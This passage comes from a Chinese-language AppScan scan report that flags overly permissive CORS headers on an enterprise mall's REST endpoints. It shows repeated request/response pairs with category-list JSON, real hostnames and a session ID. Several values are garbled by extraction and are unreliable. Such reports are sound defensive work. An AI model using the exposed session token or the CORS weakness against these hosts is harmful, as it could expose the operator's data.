                                  "classid": 2719,
                                  "classcode": "01006",
"classname": "交通运输设备",
                                  "level": 2,
                                  "endflag": 1,
                                  "status": 1,
                                  "parentcode": "01",
                                  "imgurl": "",
                                  "seq": "6",
                                  "parentclassname": "
                                                            设备类",
                                  "goodsclassChildList": null
                                  "enterpriseid": 55,
                                  "classid": 2718,
                                  "classcode": "01005",
"classname": " 专用设备",
                                  "level": 2,
                                  "endflag": 1,
                                  "status": 1,
                                  "parentcode": "01",
                                  "imgurl": "",
                                  "seq": "5",
                                  "parentclassname": "
                                                            设备类",
                                  "goodsclassChildList": null
                                  "enterpriseid": 55,
                                  "classid": 2710,
                                  "classcode": "03004",
"classname": " 亦乐测试分类",
                                  "level": 2,
                                  "endflag": 1,
                                  "status": 0,
                                   "parentcode": "03",
                                  "imgurl":
"http://cms.mall.xt.weilian.cn/d/4b37e4785b3e3707304bcecd9d3c22b7",
                                  "seq": "02",
                                  "parentclassname": "场地类",
                                  "goodsclassChildList": null
```

```
"enterpriseid": 55,
        "classid": 2709,
        "classcode": "04003",
"classname": 塚植服务",
        "level": 2,
        "endflag": 1,
        "status": 0,
        "parentcode": "04",
        "imgurl": "",
        "seq": "1",
        "parentclassname": " 服务类",
        "goodsclassChildList": null
}
        "enterpriseid": 55,
        "classid": 2708,
        "classcode": "04002",
"classname": " 保洁服务",
        "level": 2,
        "endflag": 1,
        "status": 0,
"parentcode": "04",
        "imgurl": "",
        "seq": "1",
        "parentclassname": " 服务类",
       "goodsclassChildList": null
        "enterpriseid": 55,
        "classid": 2707,
        "classcode": "04001",
"classname": " 行政服务",
        "level": 2,
        "endflag": 1,
        "status": 1,
        "parentcode": "04",
        "imgurl": "",
        "seq": "1",
        "parentclassname": " 服务类",
       "goodsclassChildList": null
        "enterpriseid": 55,
       "classid": 2706,
        "classcode": "03003",
"classname": 会场租用",
        "level": 2,
        "endflag": 1,
        "status": 1,
        "parentcode": "03",
        "imgurl": "",
        "seq": "1",
        "parentclassname": " 场地类",
        "goodsclassChildList": null
        "enterpriseid": 55,
       "classid": 2705,
        "classcode": "03002",
"classname": " 工位租用",
        "level": 2,
        "endflag": 1,
        "status": 1,
        "parentcode": "03",
        "imgurl": "",
        "seq": "1",
        "parentclassname": " 场地类",
        "goodsclassChildList": null
        "enterpriseid": 55,
        "classid": 2704,
        "level": 2,
        "endflag": 1,
```

```
"status": 1,
"parentcode": "03",
                                       "imgurl": "",
                                       "seq": "1",
                                       "parentclassname": "
                                                                      场地类",
                                       "goodsclassChildList": null
                                       "enterpriseid": 55,
                                       "classid": 2/05,
"classcode": "02003",
"· " 日用百货",
                                      "classid": 2703,
                                       "level": 2,
                                       "endflag": 1,
                                       "status": 1,
"parentcode": "02",
                                       "imgurl": "",
                                       "seq": "3",
                                       "parentclassname": "
                                       "goodsclassChildList": null
                                       "enterpriseid": 55,
                                      "classid": 2702,
"classcode": "02002",
"classname": " 办公耗材",
                                       "level": 2,
                                       "endflag": 1,
                                       "status": 1,
                                       "parentcode": "02",
                                       "imgurl": "",
                                       "seq": "2",
                                       "parentclassname": "
                                                                     耗材类",
                                       "goodsclassChildList": null
                                       "enterpriseid": 55,
                                       "classid": 2701,
                                      "classcode": "02001",
"classname": " 文具用品",
                                       "level": 2,
. . .
. . .
```

变体-|2/10

差异:

推理: AppScan 检测到"Access-Control-Allow-Origin"头的许可权太多

测试请求和响应:

```
GET /goodsclass/goodsclassList?
draw=2&start=0&length=15&search%5Bregex%5D=false&pageNum=1&classcode=01&searchValue= HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Connection: keep-alive
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Accept: application/json, text/javascript, */*; q=0.01
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Accept-Language: en-US,en;q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1

HTTP/1.1 200 OK
Access-Control-Allow-Headers: x-requested-with,content-type,sessionid
Server: openresty
Access-Control-Allow-Methods: GET,POST,HEAD,PUT,DELETE,OPTIONS
```

```
Access-Control-Allow-Origin: *
X-Hit-Server: nginx-2
Connection: keep-alive
Vary: Accept-Encoding
Date: Fri, 12 Jan 2018 03:12:56 GMT
Content-Type: application/json
Transfer-Encoding: chunked
{
  "data": [
                  "startIndex": 0,
                  "pageSize": 15,
                  "totalCount": 8,
                  "results": [
                                   "enterpriseid": 55,
                                  "classid": 2723,
                                  "classcode": "01007",
                                  "classname": "20180104",
                                  "level": 2,
                                   "endflag": 1,
                                   "status": 1,
                                  "parentcode": "01",
                                  "imgurl": "",
                                  "seq": "3",
                                  "parentclassname": " 设备类",
                                  "goodsclassChildList": null
                                   "enterpriseid": 55,
                                  "classid": 2719,
                                  "classcode": "01006",
"classname": "交通运输设备",
                                  "level": 2,
                                   "endflag": 1,
                                  "status": 1,
                                  "parentcode": "01",
                                  "imgurl": "",
                                  "seq": "6",
                                   "parentclassname": " 设备类",
                                  "goodsclassChildList": null
                                   "enterpriseid": 55,
                                  "classid": 2718,
                                  "classcode": "01005",
"classname": " 专用设备",
                                  "level": 2,
                                   "endflag": 1,
                                  "status": 1,
                                   "parentcode": "01",
                                  "imgurl": "",
                                   "seq": "5",
                                   "parentclassname": " 设备类",
                                  "goodsclassChildList": null
                                   "enterpriseid": 55,
                                  "classid": 2700,
                                  "classcode": "01004",
"classname": " 办公设备",
                                   "level": 2,
                                   "endflag": 1,
                                  "status": 1,
                                   "parentcode": "01",
                                  "imgurl":
"http://cms.mall.xt.weilian.cn/d/1fe6a557b75cef7f3cf59c5415259db2",
                                   "seq": "1",
                                   "parentclassname": "
                                                             设备类",
                                   "goodsclassChildList": null
                                  "enterpriseid": 55,
                                  "classid": 2699,
                                  "classcode": "01003",
"classname": "电子产品及通信设备",
                                  "level": 2,
```

```
"endflag": 1,
                                  "status": 1,
                                  "parentcode": "01",
                                  "imgurl": "",
                                  "seq": "2",
                                  "parentclassname": " 设备类",
                                  "goodsclassChildList": null
                                  "enterpriseid": 55,
                                  "classid": 2698,
                                  "classcode": "01002",
"classname": " 家具用具及其他",
                                  "level": 2,
                                  "endflag": 1,
                                  "status": 1,
                                  "parentcode": "01",
                                  "imgurl": "",
                                 "seq": "3",
                                  "parentclassname": " 设备类",
                                  "goodsclassChildList": null
                                {
  "enterpriseid": 55,
  "" 2697,
                                  "classid": 2697,
                                  "classcode": "01001",
"classname": "电气设备",
                                  "level": 2,
                                  "endflag": 1,
                                  "status": 0,
"parentcode": "01",
"imgurl": "",
                                  "seq": "4",
                                  "parentclassname": " 设备类",
                                  "goodsclassChildList": null
                                  "enterpriseid": 55,
                                  "classid": 2693,
                                  "classcode": "01",
"classname": "
                                                       设备类",
                                  "level": 1,
                                  "endflag": 1,
                                  "status": 1,
                                 "parentcode": "1",
"imgurl": "",
                                  "seq": "1",
                                  "parentclassname": "
                                                            资源商城",
                                  "goodsclassChildList": null
                 "showPageNumbers": [
                 "pages": [
                 "pageNo": 1,
                 "pageCount": 1,
                 "params": null,
                 "totalPageCount": 1,
                 "nextIndex": 15,
                 "page": 1,
                 "previousIndex": 0
"returnCode": 1,
              资产分类列表",
"msg": "
"html": null
```

变体- | 3 / 10

推理: AppScan 检测到"Access-Control-Allow-Origin"头的许可权太多 测试请求和响应:

```
GET /goodsclass/goodsclassList?
draw=3&start=0&length=15&search%5Bregex%5D=false&pageNum=1&classcode=02&searchValue= HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Connection: keep-alive
{\tt Host: vr-goods-rest-enterprise.mall.xt.weilian.cn}
Accept: application/json, text/javascript, */*; q=0.01
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1 1 200 ОК
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
X-Hit-Server: nginx-2
Connection: keep-alive
Vary: Accept-Encoding
Date: Fri, 12 Jan 2018 03:12:57 GMT
Content-Type: application/json
Transfer-Encoding: chunked
{
  "data": [
                  "startIndex": 0,
                  "pageSize": 15,
                  "totalCount": 4,
                  "results": [
                                   "enterpriseid": 55,
                                   "classid": 2703,
                                   "classid": 2/vɔ,
"classcode": "02003",
"Classcode": "日用百货",
                                   "level": 2,
                                   "endflag": 1,
                                   "status": 1,
                                    "parentcode": "02",
                                   "imgurl": "",
                                   "seq": "3",
                                    "parentclassname": "
                                                               耗材类",
                                   "goodsclassChildList": null
                                   "enterpriseid": 55,
                                   "classid": 2702,
                                   "classcode": "02002",
"classname": " 办公耗材",
                                   "level": 2,
                                    "endflag": 1,
                                   "status": 1,
                                    "parentcode": "02",
                                   "imgurl": "",
                                   "seq": "2",
                                   "parentclassname": "
                                   "goodsclassChildList": null
                                   "enterpriseid": 55,
                                   "classid": 2701,
"classcode": "02001",
"classname": "文具用品",
                                   "level": 2,
                                    "endflag": 1,
                                    "status": 1,
                                    "parentcode": "02",
                                   "imgurl":
```

```
"http://cms.mall.xt.weilian.cn/d/4b37e4785b3e3707304bcecd9d3c22b7",
                                   "seq": "1",
                                   "parentclassname": "
                                   "goodsclassChildList": null
                                   "enterpriseid": 55,
                                   "classid": 2694,
"classcode": "02",
"classname": "
                                                         耗材类",
                                   "level": 1,
                                   "endflag": 1,
                                   "status": 1,
                                   "parentcode": "1",
                                   "imgurl": "",
                                   "seq": "1",
                                   "parentclassname": "
                                                              资源商城",
                                   "goodsclassChildList": null
                  "showPageNumbers": [
                  "pages": [
                  "pageNo": 1,
                  "pageCount": 1,
                  "params": null,
                  "totalPageCount": 1,
                  "nextIndex": 15,
                  "page": 1,
                  "previousIndex": 0
 "returnCode": 1,
"msq": "
                 资产分类列表",
 "html": null
```

变体- | 4 / 10

差异:

推理: AppScan 检测到"Access-Control-Allow-Origin"头的许可权太多 测试请求和响应:

```
GET /goodsclass/goodsclassList?
 draw=4 \& start=0 \& length=15 \& search \% 5 Bregex \% 5 D=false \& pageNum=1 \& class code=02001 \& search Value= \ HTTP/1.1 Albert Manager Manage
 User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
 Chrome/57.0.2987.133 Safari/537.36
 Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
 Connection: keep-alive
 Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
 Accept: application/json, text/javascript, */*; q=0.01
 Origin: http://system-rest-enterprise.mall.xt.weilian.cn
 Accept-Language: en-US, en; q=0.8
 sessionId: c5b8689a1098705cd3ffdff0d57563a1
 HTTP/1.1 200 OK
 Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
 Server: openresty
 Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
 Access-Control-Allow-Origin: *
 X-Hit-Server: nginx-2
 Connection: keep-alive
 Vary: Accept-Encoding
 Date: Fri, 12 Jan 2018 03:13:42 GMT
Content-Type: application/json
```

```
Transfer-Encoding: chunked
 "data": [
                 "startIndex": 0,
                 "pageSize": 15,
                 "totalCount": 1,
                 "results": [
                                  "enterpriseid": 55,
                                  "classid": 2701,
                                  "classcode": "02001",
"classname": " 文具用品",
                                  "level": 2,
                                  "endflag": 1,
                                  "status": 1,
                                  "parentcode": "02",
                                  "imgurl":
"http://cms.mall.xt.weilian.cn/d/4b37e4785b3e3707304bcecd9d3c22b7",
                                  "seq": "1",
                                  "parentclassname": "
                                                            耗材类",
                                  "goodsclassChildList": null
                 "showPageNumbers": [
                  "pages": [
                 "pageNo": 1,
                 "pageCount": 1,
                 "params": null,
                 "totalPageCount": 1,
                 "nextIndex": 15,
                 "page": 1,
                 "previousIndex": 0
 "returnCode": 1,
                资产分类列表",
 "msg": "
 "html": null
```

变体-|5/10

差异:

推理: AppScan 检测到"Access-Control-Allow-Origin"头的许可权太多 测试请求和响应:

```
GET /goodsclass/goodsclassList?
draw=5&start=0&length=15&search%5Bregex%5D=false&pageNum=1&classcode=02003&searchValue= HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Connection: keep-alive
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Accept: application/json, text/javascript, */*; q=0.01
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 200 OK
{\tt Access-Control-Allow-Headers:}\ x-{\tt requested-with,content-type,sessionid}
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
```

```
X-Hit-Server: nginx-2
Connection: keep-alive
Vary: Accept-Encoding
Date: Fri, 12 Jan 2018 03:13:44 GMT
Content-Type: application/json
Transfer-Encoding: chunked
{
  "data": [
                  "startIndex": 0,
                 "pageSize": 15,
                  "totalCount": 1,
                  "results": [
                                   "enterpriseid": 55,
                                  "classid": 2703,
                                  "classcode": "02003",
"classname": "日用百货",
                                   "level": 2,
                                   "endflag": 1,
                                   "status": 1,
                                   "parentcode": "02",
                                  "imgurl": "",
"seq": "3",
                                  "parentclassname": "
                                                             耗材类",
                                  "goodsclassChildList": null
                  "showPageNumbers": [
                                Ω
                  "pages": [
                  "pageNo": 1,
                  "pageCount": 1,
                  "params": null,
                  "totalPageCount": 1,
                  "nextIndex": 15,
                  "page": 1,
                  "previousIndex": 0
 "returnCode": 1,
 "msg": "
                资产分类列表",
 "html": null
```

变体-|6/10

差异:

推理: AppScan 检测到"Access-Control-Allow-Origin"头的许可权太多 测试请求和响应:

```
GET /goodsclass/goodsclassList?
draw=6&start=0&length=15&search%5Bregex%5D=false&pageNum=1&classcode=04&searchValue= HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Connection: keep-alive
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Accept: application/json, text/javascript, */*; q=0.01
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Accept-Language: en-US,en;q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1

HTTP/1.1 200 OK
```

```
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
 Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
X-Hit-Server: nginx-2
Connection: keep-alive
Vary: Accept-Encoding
Date: Fri, 12 Jan 2018 03:13:45 GMT
Content-Type: application/json
Transfer-Encoding: chunked
{
  "data": [
                   "startIndex": 0,
                   "pageSize": 15,
                   "totalCount": 4,
                   "results": [
                                     "enterpriseid": 55,
                                    "classid": 2709,
                                    "classcode": "04003",
"classname": " 绿植服务",
                                    "level": 2,
                                    "endflag": 1,
                                    "status": 0,
                                    "parentcode": "04",
                                    "imgurl": "",
                                    "seq": "1",
                                    "parentclassname": "
                                                                服务类",
                                    "goodsclassChildList": null
                                    "enterpriseid": 55,
                                    "classid": 2708,
                                    "classcode": "04002",
"classname": " 保洁服务",
                                    "level": 2,
                                    "endflag": 1,
                                    "status": 0,
"parentcode": "04",
                                    "imgurl": "",
                                    "seq": "1",
                                    "parentclassname": "
                                    "goodsclassChildList": null
                                   {
"enterpriseid": 55,
"". 2707,
                                    "classid": 2707,
                                    "classcode": "04001",
"classname": " 行政服务",
                                    "level": 2,
                                    "endflag": 1,
                                    "status": 1,
                                    "parentcode": "04",
                                    "imgurl": "",
                                    "seq": "1",
                                    "parentclassname": "
                                                               服务类",
                                    "goodsclassChildList": null
                                    "enterpriseid": 55,
                                    "classid": 2696,
"classcode": "04",
"classname": "
                                                          服务类",
                                    "level": 1,
                                    "endflag": 1,
                                    "status": 1,
                                    "parentcode": "1",
                                    "imgurl": "",
                                    "seq": "1",
                                    "parentclassname": "
                                                              资源商城",
                                    "goodsclassChildList": null
                   "showPageNumbers": [
                                  0
```

变体-|7/10

差异:

推理: AppScan 检测到"Access-Control-Allow-Origin"头的许可权太多 测试请求和响应:

```
GET /goodsclass/goodsclassList?
draw=7 \& start=0 \& length=15 \& search \% 5 Bregex \% 5 D=false \& pageNum=1 \& class code=03 \& search Value=HTTP/1.1 Algebra and the search with the search value of the
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Connection: keep-alive
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Accept: application/json, text/javascript, */*; q=0.01
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 200 OK
Access-Control-Allow-Headers: x-requested-with,content-type,sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
X-Hit-Server: nginx-2
Connection: keep-alive
Vary: Accept-Encoding
Date: Fri, 12 Jan 2018 03:13:45 GMT
Content-Type: application/json
Transfer-Encoding: chunked
   "data": [
                                           "startIndex": 0,
                                           "pageSize": 15,
                                           "totalCount": 5,
                                           "results": [
                                                                                    "enterpriseid": 55,
                                                                                   "classid": 2710,
                                                                                    "level": 2,
                                                                                    "endflag": 1,
                                                                                    "status": 0,
                                                                                    "parentcode": "03",
                                                                                    "imgurl":
"http://cms.mall.xt.weilian.cn/d/4b37e4785b3e3707304bcecd9d3c22b7",
                                                                                    "seq": "02",
                                                                                    "parentclassname": "
                                                                                   "goodsclassChildList": null
```

```
"enterpriseid": 55,
                                 "classid": 2706,
                                 "classcode": "03003",
"classname": "会场租用",
                                 "level": 2,
                                 "endflag": 1,
                                 "status": 1,
                                 "parentcode": "03",
                                 "imgurl": "",
                                 "seq": "1",
                                 "parentclassname": " 场地类",
                                 "goodsclassChildList": null
                                 "enterpriseid": 55,
                                 "classid": 2705,
                                 "classcode": "03002",
"classname": " 工位租用",
                                 "level": 2,
                                 "endflag": 1,
                                 "status": 1,
"parentcode": "03",
"imgurl": "",
                                 "seq": "1",
                                 "parentclassname": " 场地类",
                                 "goodsclassChildList": null
                                 "enterpriseid": 55,
                                 "classid": 2704,
                                 "classcode": "03001",
"classname": " 场地租用",
                                 "level": 2,
                                 "endflag": 1,
                                 "status": 1,
                                 "parentcode": "03",
                                 "imgurl": "",
                                 "seq": "1",
                                 "parentclassname": "场地类",
                                 "goodsclassChildList": null
                                 "enterpriseid": 55,
                                 "classid": 2695,
                                 "classcode": "03",
"classname": "
                                                      场地类",
                                 "level": 1,
                                 "endflag": 1,
                                 "status": 1,
                                 "parentcode": "1",
                                 "imgurl": "",
                                 "seq": "1",
                                 "parentclassname": " 资源商城",
                                 "goodsclassChildList": null
                "showPageNumbers": [
                 "pages": [
                "pageNo": 1,
                "pageCount": 1,
                "params": null,
                "totalPageCount": 1,
                "nextIndex": 15,
                "page": 1,
                "previousIndex": 0
"returnCode": 1,
"msg": "
              资产分类列表",
"html": null
```

变体- | 8 / 10

测试请求和响应:

差异:

推理: AppScan 检测到"Access-Control-Allow-Origin"头的许可权太多

```
GET /goodsclass/goodsclassList?
draw=8\&start=0\&length=15\&search\%5Bregex\%5D=false\&pageNum=1\&classcode=04001\&searchValue=\ \ HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Connection: keep-alive
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Accept: application/json, text/javascript, */*; q=0.01
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 200 OK
{\tt Access-Control-Allow-Headers:}\ x-{\tt requested-with,content-type,sessionid}
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
X-Hit-Server: nginx-2
Connection: keep-alive
Vary: Accept-Encoding
Date: Fri, 12 Jan 2018 03:13:48 GMT
Content-Type: application/json
Transfer-Encoding: chunked
 "data": [
                  "startIndex": 0,
                  "pageSize": 15,
                  "totalCount": 1,
                  "results": [
                                  "enterpriseid": 55,
                                  "classid": 2707,
                                  "classcode": "04001",
"classname": " 行政服务",
                                  "level": 2,
                                   "endflag": 1,
                                  "status": 1,
                                  "parentcode": "04",
                                  "imgurl": "",
                                  "seq": "1",
                                  "parentclassname": "
                                   "goodsclassChildList": null
                  "showPageNumbers": [
                                 Ω
                  "pages": [
                  "pageNo": 1,
                  "pageCount": 1,
                  "params": null,
                  "totalPageCount": 1,
                  "nextIndex": 15,
                  "page": 1,
                  "previousIndex": 0
 "returnCode": 1,
```

```
"msg": " 资产分类列表",
"html": null
}
```

变体- | 9 / 10

差异:

推理: AppScan 检测到"Access-Control-Allow-Origin"头的许可权太多

测试请求和响应:

```
GET /goodsclass/goodsclassList?
draw=9&start=0&length=15&search%5Bregex%5D=false&pageNum=1&classcode=04002&searchValue= HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Connection: keep-alive
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Accept: application/json, text/javascript, */*; q=0.01
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 200 OK
{\tt Access-Control-Allow-Headers:}\ x-{\tt requested-with,content-type,sessionid}
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
X-Hit-Server: nginx-2
Connection: keep-alive
Vary: Accept-Encoding
Date: Fri, 12 Jan 2018 03:19:30 GMT
Content-Type: application/json
Transfer-Encoding: chunked
 "data": [
                 "startIndex": 0,
                 "pageSize": 15,
                 "totalCount": 1,
                 "results": [
                                  "enterpriseid": 55,
                                  "classid": 2/vo,
"classcode": "04002",
"' " 保洁服务",
                                  "level": 2,
                                  "endflag": 1,
                                  "status": 0,
                                  "parentcode": "04",
                                  "imgurl": "",
                                  "seq": "1",
                                  "parentclassname": "
                                                              服务类",
                                  "goodsclassChildList": null
                 "showPageNumbers": [
                  "pages": [
                  "pageNo": 1,
                  "pageCount": 1,
                 "params": null,
                 "totalPageCount": 1,
                 "nextIndex": 15,
                 "page": 1,
```

```
"previousIndex": 0
}
l,
"returnCode": 1,
"msg": "
资产分类列表",
"html": null
}
```

变体-|10/10

差异:

推理:

AppScan 检测到"Access-Control-Allow-Origin"头的许可权太多

测试请求和响应:

```
GET /goodsclass/goodsclassList?
draw=10\&start=0\&length=15\&search\%5Bregex\%5D=false\&pageNum=1\&classcode=04003\&searchValue=\ \ HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://system-rest-enterprise.mall.xt.weilian.cn/static/index.html
Connection: keep-alive
Host: vr-goods-rest-enterprise.mall.xt.weilian.cn
Accept: application/json, text/javascript, */*; q=0.01
Origin: http://system-rest-enterprise.mall.xt.weilian.cn
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 200 OK
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
X-Hit-Server: nginx-2
Connection: keep-alive
Vary: Accept-Encoding
Date: Fri, 12 Jan 2018 03:19:31 GMT
Content-Type: application/json
Transfer-Encoding: chunked
 "data": [
                  "startIndex": 0,
                 "pageSize": 15,
                  "totalCount": 1,
                  "results": [
                                  "enterpriseid": 55,
                                  "classid": 2709,
                                  "classid . 2,00,
"classcode": "04003",
"classname": "绿植服务",
                                  "level": 2,
                                  "endflag": 1,
                                  "status": 0,
                                  "parentcode": "04",
                                   "imgurl": "",
                                  "seq": "1",
                                  "parentclassname": "
                                                             服务类",
                                  "goodsclassChildList": null
                  "showPageNumbers": [
                  "pages": [
                  "pageNo": 1,
                  "pageCount": 1,
```

```
"params": null,
"totalPageCount": 1,
"nextIndex": 15,
"page": 1,
"previousIndex": 0
}

],
"returnCode": 1,
"msg": "
资产分类列表",
"html": null
}
```

问题 31 / 51 Toc

过度许可的 CORS 访问测试	
严重性:	1E
CVSS 分数:	5.0
URL:	http://h5config-rest-enterprise.mall.xt.weilian.cn/static/orderpage/lay/modules/element.js
实体:	element.js (Page)
风险:	可能会收集有关 Web 应用程序的敏感信息,如用户名、密码、机器名和/或敏感文件位置可能会劝说初级用户提供诸如用户名、密码、信用卡号、社会保险号等敏感信息
原因:	Web 应用程序编程或配置不安全
固定值:	修改"Access-Control-Allow-Origin"头以仅获取允许的站点

差异:

推理: AppScan 检测到"Access-Control-Allow-Origin"头的许可权太多 测试请求和响应:

```
GET /static/orderpage/lay/modules/element.js HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/57.0.2987.133 Safari/537.36
Referer: http://h5config-rest-enterprise.mall.xt.weilian.cn/static/orderpage/saleOrderList.html?
sessionId=6cecd9abca2a5797bbb71b3bef6db3f8
Connection: keep-alive
Host: h5config-rest-enterprise.mall.xt.weilian.cn
Accept: */*
Accept-Language: en-US, en; q=0.8
sessionId: c5b8689a1098705cd3ffdff0d57563a1
HTTP/1.1 200 OK
Content-Length: 7460
Access-Control-Allow-Headers: x-requested-with, content-type, sessionid
Server: openresty
Access-Control-Allow-Methods: GET, POST, HEAD, PUT, DELETE, OPTIONS
Access-Control-Allow-Origin: *
X-Hit-Server: nginx-2
Connection: keep-alive
Date: Fri, 12 Jan 2018 03:10:55 GMT
/** layui-v2.2.2 MIT License By http://www.layui.com */
 ;layui.define("jquery",function(i){"use strict";var t=layui.$,a=
(layui.hint(),layui.device()),e="element",l="layui-this",n="layui-show",s=function(){this.config=
{}};s.prototype.set=function(i){var a=this;return
t.extend(!0,a.config,i),a},s.prototype.on=function(i,t){return
layui.onevent.call(this,e,i,t)},s.prototype.tabAdd=function(i,a){var e=".layui-tab-
```

```
title",l=t(".layui-tab[lay-filter="+i+"]"),n=l.children(e),s=n.children(".layui-tab-
bar"),o=l.children(".layui-tab-content"),c=''+(a.title||"unnaming")+"
";return s[0]?s.before(c):n.append(c),o.append('<div class="layui-tab-item">'+
(a.content \ | \ """) + " < /div > "), y.hideTabMore (!0), y.tabAuto(), this \}, s.prototype.tabDelete=function (i,a) \\
{var e=".layui-tab-title",l=t(".layui-tab[lay-filter="+i+"]"),n=l.children(e),s=n.find('>li[lay-filter="+i+"]"),n=l.children(e),s=n.find('>li[lay-filter="+i+"]"),n=l.children(e),s=n.find('>li[lay-filter="+i+"]"),n=l.children(e),s=n.find('>li[lay-filter="+i+"]"),n=l.children(e),s=n.find('>li[lay-filter="+i+"]"),n=l.children(e),s=n.find('>li[lay-filter="+i+"]"),n=l.children(e),s=n.find('>li[lay-filter="+i+"]"),n=l.children(e),s=n.find('>li[lay-filter="+i+"]"),n=l.children(e),s=n.find('>li[lay-filter="+i+"]"),n=l.children(e),s=n.find('>li[lay-filter="+i+"]"),n=l.children(e),s=n.find('>li[lay-filter="+i+"]"),n=l.children(e),s=n.find('>li[lay-filter="+i+"]"),n=l.children(e),s=n.find('>li[lay-filter="+i+"]"),n=l.children(e),s=n.find('>li[lay-filter="+i+"]"),n=l.children(e),s=n.find(e),s=n.find(e),s=n.find(e),s=n.find(e),s=n.find(e),s=n.find(e),s=n.find(e),s=n.find(e),s=n.find(e),s=n.find(e),s=n.find(e),s=n.find(e),s=n.find(e),s=n.find(e),s=n.find(e),s=n.find(e),s=n.find(e),s=n.find(e),s=n.find(e),s=n.find(e),s=n.find(e),s=n.find(e),s=n.find(e),s=n.find(e),s=n.find(e),s=n.find(e),s=n.find(e),s=n.find(e),s=n.find(e),s=n.find(e),s=n.find(e),s=n.find(e),s=n.find(e),s=n.find(e),s=n.find(e),s=n.find(e),s=n.find(e),s=n.find(e),s=n.find(e),s=n.find(e),s=n.find(e),s=n.find(e),s=n.find(e),s=n.find(e),s=n.find(e),s=n.find(e),s=n.find(e),s=n.find(e),s=n.find(e),s=n.find(e),s=n.find(e),s=n.find(e),s=n.find(e),s=n.find(e),s=n.find(e),s=n.find(e),s=n.find(e),s=n.find(e),s=n.find(e),s=n.find(e),s=n.find(e),s=n.find(e),s=n.find(e),s=n.find(e),s=n.find(e),s=n.find(e),s=n.find(e),s=n.find(e),s=n.find(e),s=n.find(e),s=n.find(e),s=n.find(e),s=n.find(e),s=n.find(e),s=n.find(e),s=n.find(e),s=n.find(e),s=n.